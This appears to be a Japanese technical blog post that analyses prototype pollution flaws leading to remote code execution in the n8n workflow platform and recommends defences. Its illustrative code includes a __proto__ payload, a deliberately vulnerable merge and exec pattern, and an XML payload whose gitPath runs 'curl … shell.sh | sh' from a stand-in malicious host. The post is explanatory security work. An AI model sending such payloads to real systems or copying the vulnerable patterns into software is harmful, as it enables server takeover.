プロトタイプ汚染リローデッド:n8nの5つの9.4スコアRCE脆弱性を深掘りする
Node.jsアプリケーションを構築している方は、今やっていることを中断して、注意深く聞いてください。2026年5月22日、シンガポールサイバーセキュリティ庁(CSA)およびグローバルなセキュリティ研究グループは、人気のオープンソースワークフロー自動化プラットフォームである n8n のユーザーを対象とした緊急勧告を発表しました。
n8nは、驚くべき CVSS v4.0スコア9.4 を持つ5つの重大な脆弱性(CVE-2026-42231、CVE-2026-42232、および CVE-2026-44789 を含む)に対処するセキュリティパッチを急いで公開しました。これらのセキュリティ上の欠陥は、古典的で、しつこく、そして非常に危険なNode.jsの脆弱性ベクトルである プロトタイプ汚染(Prototype Pollution) に集中していました。これらが連鎖すると、攻撃者はホスティングサーバー上で リモートコード実行(RCE) または任意のシステムファイルの読み取りをトリガーする可能性がありました。
私は午前中を費やしてパッチを解剖しました。JavaScriptのプロトタイプ汚染のメカニズムを解き明かし、n8nのXMLパーサーノードがどのようにしてこの汚染をシステムレベルのRCEに連鎖させることを許したのかを再構築し、自身のNode.js Webアプリケーションでこれらのベクトルを無効化するための推奨プログラミングパターンを見ていきましょう。
プロトタイプ汚染を理解する
n8nがどのように犠牲になったのかを理解するには、まずJavaScriptのプロトタイプ継承のユニークな設計を理解する必要があります。
JavaScriptでは、オブジェクトはプロトタイプオブジェクトからプロパティとメソッドを継承します。単純なオブジェクト const dev = { name: "Elvis" } を作成した場合、それは暗黙的に Object.prototype から継承します。
アプリケーションが、厳密なキーの検証なしに、ユーザーが制御するJSONまたはXMLペイロードを再帰的にマージまたは解析してオブジェクトにする場合、攻撃者は特別な魔法のキー __proto__ を含むペイロードを渡すことができます。
脆弱なパターン:
古典的な脆弱性を持つオブジェクト・マージ・ユーティリティを見てみましょう。
// 完全なセキュリティ上の災害となる、古典的な再帰的マージ
function insecureMerge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
insecureMerge(target[key], source[key]);
} else {
// 直接代入により、__proto__ プロパティの注入が許可されてしまう
target[key] = source[key];
}
}
return target;
}
// JSONとして渡された攻撃ペイロード
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};
insecureMerge(userSession, attackerPayload);
// これで、このNode.jsプロセスで作成されたすべてのオブジェクトが 'isAdmin' プロパティを継承します!
const normalUser = {};
console.log(normalUser.isAdmin); // 出力: true! (あなたのプロトタイプは正常に汚染されました)
Object.prototype を汚染することで、攻撃者はランタイム環境全体にわたってグローバルにプロパティを注入します。
n8nのRCEチェーンを再構築する
n8nの脆弱性スイートは、単純なプロトタイプ汚染が完全なアプリケーションサーバーを侵害するためにどのように活用できるかを浮き彫りにしています。
[ 攻撃者の悪意のあるXML / JSONペイロード ]
│
▼
[ n8n Webhook / XML / HTTPリクエスト パーサー ]
(脆弱なxml2jsライブラリが__proto__を解析した)
│
▼
[ Object.prototype が汚染された ]
(グローバルなランタイムプロパティが操作された)
│
▼
[ n8n Gitノードの実行 ]
(システムプロパティを引き出す:例、gitPath / shellコマンド)
│
▼
[ リモートコード実行 (RCE) ]
(悪意のあるシェルコマンドがホストで実行される)
xml2jsを介したインジェクション (CVE-2026-42231)
問題の根本は、n8nの Webhook、XML、および HTTP Request ノードで利用されている解析ライブラリにあります。具体的には、XMLパーサーノードは、人気の xml2js パーサーを使用してXMLペイロードを処理していました。
constructor や prototype などの特殊なキーのフィルタリングに失敗したため、攻撃者はプロセスのベースプロトタイプを汚染するように構築されたXMLペイロードを送信することができました。
<!-- XMLを介した概念的なプロトタイプ汚染ペイロード -->
<root>
<constructor>
<prototype>
<gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
</prototype>
</constructor>
</root>
GitノードにおけるRCEチェーン (CVE-2026-44790)
ここでチェーンは致命的なものになります。n8nには、ワークフローで設定のクローン、コミット、およびプッシュを可能にする Gitノード が搭載されています。Gitノードが実行されると、内部のパスユーティリティを参照してローカルシステムの git 実行可能ファイルを見つけます。
// 脆弱なワークフロー実行ロジックの内部
const execPath = options.gitPath || 'git'; // options.gitPathが未定義の場合、プロトタイプを確認する
child_process.exec(`${execPath} status`, ...);
通常の状況では、options.gitPath は未定義であるため、システムはデフォルトで安全な 'git' バイナリを使用します。しかし、攻撃者がXMLノードの悪用を通じて Object.prototype.gitPath を正常に汚染したため、options.gitPath のチェックにより、インジェクトされた悪意のあるシェルコマンドが返されました!
Gitノードが exec() を実行すると、シェルスクリプトが実行され、攻撃者にn8nホストシステムに対する完全なリモートシェル制御が付与されました。
魔法のキーをブロックする
Node.jsまたはJavaScriptのバックエンドAPIを開発している場合、プロトタイプ汚染を永久に排除するための3つの主要な設計パターンがあります。
1. パーサーでキー名を拒否する
カスタムのマージ、コピー、または解析関数を記述する場合、プロトタイププロパティを参照するキーを明示的に拒否します。
// __proto__インジェクションを停止するための明示的なブロックリスト
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
function secureMerge(target, source) {
for (let key in source) {
if (BLACKLIST.includes(key)) continue; // 悪意のあるキーを黙って破棄する
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
secureMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2. プロトタイプを持たないオブジェクトを作成する
キーバリュールックアップテーブルや構成ストアを作成する場合は、標準のプロトタイプチェーンを持たないオブジェクトをインスタンス化します。Object.create(null) を使用すると、Object.prototype から継承しない辞書が作成され、グローバルな汚染ルックアップの影響を受けなくなります。
// 汚染するプロトタイププロパティを持たない完全に空白の辞書
const dict = Object.create(null);
console.log(dict.toString); // undefined
プロのヒント:本番環境でプロトタイプを凍結する
究極のフェイルセーフとして、アプリケーションのエントリポイントでグローバルな
Object.prototypeを凍結できます。これにより、初期化後にコアプロトタイプが変更されるのを防ぐことができます。
// ベースラインとなるObjectを凍結して、すべてのプロトタイプ汚染の試みを無効化する
Object.freeze(Object.prototype);
結論(ボトムライン)
JavaScriptの柔軟性は最大の強みですが、受信したJSON/XMLを盲目的に信頼する場合、プロトタイプ継承は古典的な自滅行為(footgun)になります。解析ツリーをサニタイズし、Object.create(null) を使用し、本番環境でグローバルプロトタイプを凍結し、直ちにn8nインスタンスを更新してください。
参考文献および公式情報源
- Singapore CSA Warning: n8nのRCEに関するシンガポール企業のITチーム向けの高リスク勧告。csa.gov.sg/alerts-advisories/n8n-rce-vulnerabilities
- n8n Security Advisory (GitHub GHSA): CVE-2026-42231および関連するバグの詳細とバージョンパッチ。github.com/n8n-io/n8n/security/advisories
- GBHackers CyberSecurity: n8nにおけるCVSS 9.4プロトタイプ汚染のエクスプロイトチェーンと概念実証(PoC)分析。gbhackers.com/n8n-rce-vulnerability

